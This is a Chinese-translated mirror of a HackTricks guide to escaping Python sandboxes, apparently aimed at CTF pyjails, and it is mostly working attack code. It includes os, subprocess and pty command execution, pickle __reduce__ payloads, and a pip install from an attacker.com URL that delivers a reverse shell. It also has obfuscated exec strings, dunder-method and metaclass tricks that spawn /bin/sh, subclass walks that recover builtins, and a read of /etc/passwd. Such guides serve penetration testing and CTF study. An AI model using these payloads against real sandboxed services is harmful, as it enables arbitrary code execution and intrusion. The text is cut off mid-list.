mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
1106 lines
62 KiB
Markdown
1106 lines
62 KiB
Markdown
# 绕过 Python 沙箱
|
||
|
||
{% hint style="success" %}
|
||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
||
**从黑客的角度审视您的网络应用、网络和云**
|
||
|
||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||
|
||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
||
这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。
|
||
|
||
## 命令执行库
|
||
|
||
您需要知道的第一件事是,您是否可以直接使用某个已导入的库执行代码,或者您是否可以导入以下任何库:
|
||
```python
|
||
os.system("ls")
|
||
os.popen("ls").read()
|
||
commands.getstatusoutput("ls")
|
||
commands.getoutput("ls")
|
||
commands.getstatus("file/path")
|
||
subprocess.call("ls", shell=True)
|
||
subprocess.Popen("ls", shell=True)
|
||
pty.spawn("ls")
|
||
pty.spawn("/bin/bash")
|
||
platform.os.system("ls")
|
||
pdb.os.system("ls")
|
||
|
||
#Import functions to execute commands
|
||
importlib.import_module("os").system("ls")
|
||
importlib.__import__("os").system("ls")
|
||
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
|
||
imp.os.system("ls")
|
||
imp.sys.modules["os"].system("ls")
|
||
sys.modules["os"].system("ls")
|
||
__import__("os").system("ls")
|
||
import os
|
||
from os import *
|
||
|
||
#Other interesting functions
|
||
open("/etc/passwd").read()
|
||
open('/var/www/html/input', 'w').write('123')
|
||
|
||
#In Python2.7
|
||
execfile('/usr/lib/python2.7/os.py')
|
||
system('ls')
|
||
```
|
||
记住,_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** 以 **绕过** 沙箱。
|
||
|
||
{% hint style="danger" %}
|
||
**Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
|
||
{% endhint %}
|
||
|
||
Python 尝试 **首先从当前目录加载库**(以下命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
|
||
|
||
![](<../../../.gitbook/assets/image (559).png>)
|
||
|
||
## 使用默认安装的 python 包绕过 pickle 沙箱
|
||
|
||
### 默认包
|
||
|
||
你可以在这里找到 **预安装包的列表**: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||
请注意,从一个 pickle 中你可以使 python 环境 **导入系统中安装的任意库**。\
|
||
例如,以下 pickle 在加载时将导入 pip 库以使用它:
|
||
```python
|
||
#Note that here we are importing the pip library so the pickle is created correctly
|
||
#however, the victim doesn't even need to have the library installed to execute it
|
||
#the library is going to be loaded automatically
|
||
|
||
import pickle, os, base64, pip
|
||
class P(object):
|
||
def __reduce__(self):
|
||
return (pip.main,(["list"],))
|
||
|
||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||
```
|
||
有关pickle如何工作的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||
|
||
### Pip包
|
||
|
||
技巧由**@isHaacK**分享
|
||
|
||
如果您可以访问`pip`或`pip.main()`,您可以安装任意包并通过调用获得反向shell:
|
||
```bash
|
||
pip install http://attacker.com/Rerverse.tar.gz
|
||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||
```
|
||
您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该**解压缩它,修改 `setup.py`,并将您的 IP 放入反向 shell 中**:
|
||
|
||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||
|
||
{% hint style="info" %}
|
||
这个包被称为 `Reverse`。然而,它是特别制作的,以便当您退出反向 shell 时,其余的安装将失败,因此您**在离开时不会在服务器上留下任何额外的 python 包**。
|
||
{% endhint %}
|
||
|
||
## Eval-ing python code
|
||
|
||
{% hint style="warning" %}
|
||
请注意 exec 允许多行字符串和“;”,但 eval 不允许(检查海象运算符)
|
||
{% endhint %}
|
||
|
||
如果某些字符被禁止,您可以使用**十六进制/八进制/B64**表示法来**绕过**限制:
|
||
```python
|
||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
|
||
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
|
||
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
|
||
#One liners that allow new lines and tabs
|
||
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
|
||
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
|
||
```
|
||
|
||
```python
|
||
#Octal
|
||
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
|
||
#Hex
|
||
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
|
||
#Base64
|
||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||
```
|
||
### 其他允许评估 Python 代码的库
|
||
```python
|
||
#Pandas
|
||
import pandas as pd
|
||
df = pd.read_csv("currency-rates.csv")
|
||
df.query('@__builtins__.__import__("os").system("ls")')
|
||
df.query("@pd.io.common.os.popen('ls').read()")
|
||
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||
|
||
# The previous options work but others you might try give the error:
|
||
# Only named functions are supported
|
||
# Like:
|
||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||
```
|
||
## 操作符和简短技巧
|
||
```python
|
||
# walrus operator allows generating variable inside a list
|
||
## everything will be executed in order
|
||
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
|
||
[a:=21,a*2]
|
||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||
```
|
||
## 通过编码绕过保护 (UTF-7)
|
||
|
||
在 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,使用 UFT-7 在一个看似沙箱的环境中加载和执行任意的 python 代码:
|
||
```python
|
||
assert b"+AAo-".decode("utf_7") == "\n"
|
||
|
||
payload = """
|
||
# -*- coding: utf_7 -*-
|
||
def f(x):
|
||
return x
|
||
#+AAo-print(open("/flag.txt").read())
|
||
""".lstrip()
|
||
```
|
||
也可以使用其他编码绕过它,例如 `raw_unicode_escape` 和 `unicode_escape`。
|
||
|
||
## 无调用的 Python 执行
|
||
|
||
如果您在一个 **不允许您进行调用** 的 python 监狱中,仍然有一些方法可以 **执行任意函数、代码** 和 **命令**。
|
||
|
||
### 使用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) 的 RCE
|
||
```python
|
||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||
@exec
|
||
@input
|
||
class X:
|
||
pass
|
||
|
||
# The previous code is equivalent to:
|
||
class X:
|
||
pass
|
||
X = input(X)
|
||
X = exec(X)
|
||
|
||
# So just send your python code when prompted and it will be executed
|
||
|
||
|
||
# Another approach without calling input:
|
||
@eval
|
||
@'__import__("os").system("sh")'.format
|
||
class _:pass
|
||
```
|
||
### RCE 创建对象和重载
|
||
|
||
如果你可以 **声明一个类** 并 **创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用它们** 的情况下 **被触发**。
|
||
|
||
#### 使用自定义类的 RCE
|
||
|
||
你可以修改一些 **类方法**(_通过覆盖现有类方法或创建一个新类_),使它们在 **被触发** 时 **执行任意代码**,而无需直接调用它们。
|
||
```python
|
||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||
class RCE:
|
||
def __init__(self):
|
||
self += "print('Hello from __init__ + __iadd__')"
|
||
__iadd__ = exec #Triggered when object is created
|
||
def __del__(self):
|
||
self -= "print('Hello from __del__ + __isub__')"
|
||
__isub__ = exec #Triggered when object is created
|
||
__getitem__ = exec #Trigerred with obj[<argument>]
|
||
__add__ = exec #Triggered with obj + <argument>
|
||
|
||
# These lines abuse directly the previous class to get RCE
|
||
rce = RCE() #Later we will see how to create objects without calling the constructor
|
||
rce["print('Hello from __getitem__')"]
|
||
rce + "print('Hello from __add__')"
|
||
del rce
|
||
|
||
# These lines will get RCE when the program is over (exit)
|
||
sys.modules["pwnd"] = RCE()
|
||
exit()
|
||
|
||
# Other functions to overwrite
|
||
__sub__ (k - 'import os; os.system("sh")')
|
||
__mul__ (k * 'import os; os.system("sh")')
|
||
__floordiv__ (k // 'import os; os.system("sh")')
|
||
__truediv__ (k / 'import os; os.system("sh")')
|
||
__mod__ (k % 'import os; os.system("sh")')
|
||
__pow__ (k**'import os; os.system("sh")')
|
||
__lt__ (k < 'import os; os.system("sh")')
|
||
__le__ (k <= 'import os; os.system("sh")')
|
||
__eq__ (k == 'import os; os.system("sh")')
|
||
__ne__ (k != 'import os; os.system("sh")')
|
||
__ge__ (k >= 'import os; os.system("sh")')
|
||
__gt__ (k > 'import os; os.system("sh")')
|
||
__iadd__ (k += 'import os; os.system("sh")')
|
||
__isub__ (k -= 'import os; os.system("sh")')
|
||
__imul__ (k *= 'import os; os.system("sh")')
|
||
__ifloordiv__ (k //= 'import os; os.system("sh")')
|
||
__idiv__ (k /= 'import os; os.system("sh")')
|
||
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
|
||
__imod__ (k %= 'import os; os.system("sh")')
|
||
__ipow__ (k **= 'import os; os.system("sh")')
|
||
__ilshift__ (k<<= 'import os; os.system("sh")')
|
||
__irshift__ (k >>= 'import os; os.system("sh")')
|
||
__iand__ (k = 'import os; os.system("sh")')
|
||
__ior__ (k |= 'import os; os.system("sh")')
|
||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||
```
|
||
#### 使用 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象
|
||
|
||
metaclasses 允许我们做的关键事情是 **在不直接调用构造函数的情况下创建类的实例**,通过将目标类作为 metaclass 创建一个新类。
|
||
```python
|
||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||
# This will define the members of the "subclass"
|
||
class Metaclass(type):
|
||
__getitem__ = exec # So Sub[string] will execute exec(string)
|
||
# Note: Metaclass.__class__ == type
|
||
|
||
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
|
||
pass # Nothing special to do
|
||
|
||
Sub['import os; os.system("sh")']
|
||
|
||
## You can also use the tricks from the previous section to get RCE with this object
|
||
```
|
||
#### 创建带有异常的对象
|
||
|
||
当**异常被触发**时,**Exception**的一个对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)的技巧):
|
||
```python
|
||
class RCE(Exception):
|
||
def __init__(self):
|
||
self += 'import os; os.system("sh")'
|
||
__iadd__ = exec #Triggered when object is created
|
||
raise RCE #Generate RCE object
|
||
|
||
|
||
# RCE with __add__ overloading and try/except + raise generated object
|
||
class Klecko(Exception):
|
||
__add__ = exec
|
||
|
||
try:
|
||
raise Klecko
|
||
except Klecko as k:
|
||
k + 'import os; os.system("sh")' #RCE abusing __add__
|
||
|
||
## You can also use the tricks from the previous section to get RCE with this object
|
||
```
|
||
### 更多 RCE
|
||
```python
|
||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||
class X:
|
||
def __init__(self, a, b, c):
|
||
self += "os.system('sh')"
|
||
__iadd__ = exec
|
||
sys.excepthook = X
|
||
1/0 #Trigger it
|
||
|
||
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
|
||
# The interpreter will try to import an apt-specific module to potentially
|
||
# report an error in ubuntu-provided modules.
|
||
# Therefore the __import__ functions are overwritten with our RCE
|
||
class X():
|
||
def __init__(self, a, b, c, d, e):
|
||
self += "print(open('flag').read())"
|
||
__iadd__ = eval
|
||
__builtins__.__import__ = X
|
||
{}[1337]
|
||
```
|
||
### 使用内置函数读取文件帮助和许可证
|
||
```python
|
||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||
a = __builtins__.help
|
||
a.__class__.__enter__ = __builtins__.__dict__["license"]
|
||
a.__class__.__exit__ = lambda self, *args: None
|
||
with (a as b):
|
||
pass
|
||
```
|
||
## Builtins
|
||
|
||
* [**Python2 的内置函数**](https://docs.python.org/2/library/functions.html)
|
||
* [**Python3 的内置函数**](https://docs.python.org/3/library/functions.html)
|
||
|
||
如果你可以访问 **`__builtins__`** 对象,你可以导入库(注意你也可以在最后一节中使用其他字符串表示):
|
||
```python
|
||
__builtins__.__import__("os").system("ls")
|
||
__builtins__.__dict__['__import__']("os").system("ls")
|
||
```
|
||
### No Builtins
|
||
|
||
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有的全局函数**(如 `open`、`import`、`print`...)**都没有加载**。\
|
||
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看起来可能是无害的,但其中一些 **也在内部导入危险** 的功能,可以被访问以获得 **任意代码执行**。
|
||
|
||
在以下示例中,你可以观察到如何 **滥用** 一些加载的 "**无害**" 模块,以 **访问** **危险** **功能**。
|
||
|
||
**Python2**
|
||
```python
|
||
#Try to reload __builtins__
|
||
reload(__builtins__)
|
||
import __builtin__
|
||
|
||
# Read recovering <type 'file'> in offset 40
|
||
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
|
||
# Write recovering <type 'file'> in offset 40
|
||
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
|
||
|
||
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
|
||
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
|
||
# Execute (another method)
|
||
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
|
||
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
|
||
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
|
||
|
||
# Or you could obtain the builtins from a defined function
|
||
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
||
```
|
||
#### Python3
|
||
```python
|
||
# Obtain builtins from a globally defined function
|
||
# https://docs.python.org/3/library/functions.html
|
||
help.__call__.__builtins__ # or __globals__
|
||
license.__call__.__builtins__ # or __globals__
|
||
credits.__call__.__builtins__ # or __globals__
|
||
print.__self__
|
||
dir.__self__
|
||
globals.__self__
|
||
len.__self__
|
||
__build_class__.__self__
|
||
|
||
# Obtain the builtins from a defined function
|
||
get_flag.__globals__['__builtins__']
|
||
|
||
# Get builtins from loaded classes
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||
```
|
||
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **地方**,您可以找到 **内置函数**。
|
||
|
||
#### Python2 和 Python3
|
||
```python
|
||
# Recover __builtins__ and make everything easier
|
||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||
__builtins__["__import__"]('os').system('ls')
|
||
```
|
||
### 内置有效载荷
|
||
```python
|
||
# Possible payloads once you have found the builtins
|
||
__builtins__["open"]("/etc/passwd").read()
|
||
__builtins__["__import__"]("os").system("ls")
|
||
# There are lots of other payloads that can be abused to execute commands
|
||
# See them below
|
||
```
|
||
## Globals and locals
|
||
|
||
检查 **`globals`** 和 **`locals`** 是了解您可以访问的内容的好方法。
|
||
```python
|
||
>>> globals()
|
||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||
>>> locals()
|
||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||
|
||
# Obtain globals from a defined function
|
||
get_flag.__globals__
|
||
|
||
# Obtain globals from an object of a class
|
||
class_obj.__init__.__globals__
|
||
|
||
# Obtaining globals directly from loaded classes
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
|
||
[<class 'function'>]
|
||
|
||
# Obtaining globals from __init__ of loaded classes
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
|
||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||
# Without the use of the dir() function
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||
```
|
||
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 来查找数十/**数百**个 **位置**,您可以找到 **globals**。
|
||
|
||
## 发现任意执行
|
||
|
||
在这里,我想解释如何轻松发现 **加载的更危险功能** 并提出更可靠的利用。
|
||
|
||
#### 通过绕过访问子类
|
||
|
||
此技术最敏感的部分之一是能够 **访问基类子类**。在之前的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**:
|
||
```python
|
||
#You can access the base from mostly anywhere (in regular conditions)
|
||
"".__class__.__base__.__subclasses__()
|
||
[].__class__.__base__.__subclasses__()
|
||
{}.__class__.__base__.__subclasses__()
|
||
().__class__.__base__.__subclasses__()
|
||
(1).__class__.__base__.__subclasses__()
|
||
bool.__class__.__base__.__subclasses__()
|
||
print.__class__.__base__.__subclasses__()
|
||
open.__class__.__base__.__subclasses__()
|
||
defined_func.__class__.__base__.__subclasses__()
|
||
|
||
#You can also access it without "__base__" or "__class__"
|
||
# You can apply the previous technique also here
|
||
"".__class__.__bases__[0].__subclasses__()
|
||
"".__class__.__mro__[1].__subclasses__()
|
||
"".__getattribute__("__class__").mro()[1].__subclasses__()
|
||
"".__getattribute__("__class__").__base__.__subclasses__()
|
||
|
||
# This can be useful in case it is not possible to make calls (therefore using decorators)
|
||
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
|
||
|
||
#If attr is present you can access everything as a string
|
||
# This is common in Django (and Jinja) environments
|
||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||
```
|
||
### 查找加载的危险库
|
||
|
||
例如,知道使用库 **`sys`** 可以 **导入任意库**,你可以搜索所有 **加载的模块中包含导入 sys 的模块**:
|
||
```python
|
||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||
```
|
||
有很多,我们只需要一个来执行命令:
|
||
```python
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||
```
|
||
我们可以对我们知道可以用来**执行命令**的**其他库**做同样的事情:
|
||
```python
|
||
#os
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
|
||
|
||
#subprocess
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
|
||
|
||
#builtins
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
|
||
